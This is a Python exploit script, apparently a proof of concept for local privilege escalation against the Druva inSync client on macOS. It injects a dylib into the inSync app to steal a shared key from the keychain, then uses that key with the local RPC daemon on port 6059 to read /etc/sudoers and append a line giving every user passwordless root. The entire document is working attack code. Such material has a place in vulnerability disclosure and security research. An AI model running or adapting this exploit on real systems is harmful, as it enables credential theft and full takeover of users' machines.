|
#!/usr/bin/env python3 |
|
|
|
import os |
|
import subprocess |
|
import socket |
|
import marshal |
|
import zlib |
|
|
|
def build_post(data): |
|
message = b"POST /api HTTP/1.1\r\n" |
|
message += b"Host: 127.0.0.1\r\n" |
|
message += b"Content-Length: " + str(len(data)).encode() + b"\r\n" |
|
message += b"X-Drv-Encoding: 1\r\n" |
|
message += b"\r\n" |
|
message += data |
|
return message |
|
|
|
def recvall(sock): |
|
BUFF_SIZE = 4096 |
|
data = b'' |
|
while True: |
|
part = sock.recv(BUFF_SIZE) |
|
data += part |
|
if len(part) < BUFF_SIZE: |
|
# either 0 or end of data |
|
break |
|
return data |
|
|
|
|
|
def send_rpc_request(sock, req_obj): |
|
marsh = marshal.dumps(req_obj, 2) |
|
post_data = zlib.compress(marsh, level=0) |
|
message = build_post(post_data) |
|
try: |
|
sock.send(message) |
|
|
|
resp = recvall(sock) |
|
if resp is None: |
|
print("Did not receive a response from server.") |
|
|
|
magic = resp.index(b'\r\n\r\n') |
|
return marshal.loads(zlib.decompress(resp[magic+4:])) |
|
except Exception as e: |
|
print("Error with request:") |
|
print(e) |
|
|
|
def daemon_authenticate(sock, key): |
|
daemon_auth = { |
|
'Requests': [ |
|
{ |
|
'Id': 1, |
|
'Method': 'daemon.authenticate', |
|
'KeywordArguments': {}, |
|
'Arguments': (key,), |
|
} |
|
] |
|
} |
|
|
|
return send_rpc_request(sock, daemon_auth) |
|
|
|
def daemon_read(sock, filepath, offset, count, id): |
|
daemon_read = { |
|
'Requests': [ |
|
{ |
|
'Id': 2, |
|
'Method': 'daemon.read', |
|
'KeywordArguments': {}, |
|
'Arguments': (filepath, offset, count, id), |
|
} |
|
] |
|
} |
|
|
|
return send_rpc_request(sock, daemon_read) |
|
|
|
def daemon_write(sock, filepath, buf, offset): |
|
daemon_write = { |
|
'Requests': [ |
|
{ |
|
'Id': 3, |
|
'Method': 'daemon.write', |
|
'KeywordArguments': {}, |
|
'Arguments': (filepath, buf, offset,), |
|
} |
|
] |
|
} |
|
|
|
return send_rpc_request(sock, daemon_write) |
|
|
|
cwd = os.getcwd() |
|
|
|
print("Grabbing token from keychain") |
|
p = subprocess.Popen('/Applications/Druva inSync.app/Contents/MacOS/inSync', stderr=subprocess.PIPE, env=dict(os.environ, DYLD_INSERT_LIBRARIES=cwd + '/exploit.dylib')) |
|
resp = p.stderr.read() |
|
print(resp) |
|
|
|
secret_index = resp.index(b'Secret stolen:') |
|
key = resp[secret_index+15:-1] |
|
print('INSYNC_SHARED_KEY=' + key.decode()) |
|
|
|
print("Running exploit") |
|
|
|
# inSyncDecommission listens on TCP 6059 |
|
ip = '127.0.0.1' |
|
port = '6059' |
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
s.connect((ip, int(port))) |
|
resp = daemon_authenticate(s, key) |
|
print(resp) |
|
|
|
resp = daemon_read(s, b'/etc/sudoers', 0, 9999, 9999) #/etc/sudoers |
|
print(resp) |
|
file_len = len(resp['Responses'][0]['ReturnValue']) |
|
|
|
resp = daemon_write(s, b'/etc/sudoers', b'\nALL ALL=(ALL) NOPASSWD: ALL', file_len) |
|
print(resp) |
|
|
|
resp = daemon_read(s, b'/etc/sudoers', 0, 9999, 9999) |
|
print(resp) |
|
|
|
s.close() |
|
print("DONE") |